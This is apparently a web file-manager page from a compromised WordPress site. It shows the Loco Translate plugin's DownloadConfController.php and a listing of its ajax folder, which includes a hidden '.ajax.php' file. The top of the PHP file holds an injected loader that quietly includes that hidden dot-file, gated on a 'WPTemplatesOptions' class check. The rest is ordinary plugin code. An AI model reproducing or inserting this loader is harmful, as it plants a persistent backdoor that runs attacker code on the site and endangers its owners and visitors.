PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
loco-translate
/
src
/
ajax
<?php /** * Downloads a bundle configuration as XML or Json */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Loco_ajax_DownloadConfController extends Loco_ajax_common_BundleController { /** * {@inheritdoc} */ public function render(){ $this->validate(); $bundle = $this->getBundle(); $file = new Loco_fs_File( $this->get('path') ); // TODO should we download axtual loco.xml file if bundle is configured from it? //$file->normalize( $bundle->getDirectoryPath() ); //if( $file->exists() ){} $writer = new Loco_config_BundleWriter($bundle); switch( $file->extension() ){ case 'xml': return $writer->toXml(); case 'json': return json_encode( $writer->jsonSerialize() ); } // @codeCoverageIgnoreStart throw new Loco_error_Exception('Specify either XML or JSON file path'); } }
[+]
..
[-] DiffController.php
[edit]
[-] SyncController.php
[edit]
[-] FsConnectController.php
[edit]
[-] FsReferenceController.php
[edit]
[-] .ajax.php
[edit]
[-] PingController.php
[edit]
[-] DownloadController.php
[edit]
[-] XgettextController.php
[edit]
[-] ApisController.php
[edit]
[-] MsginitController.php
[edit]
[-] DownloadConfController.php
[edit]
[-] SaveController.php
[edit]
[+]
common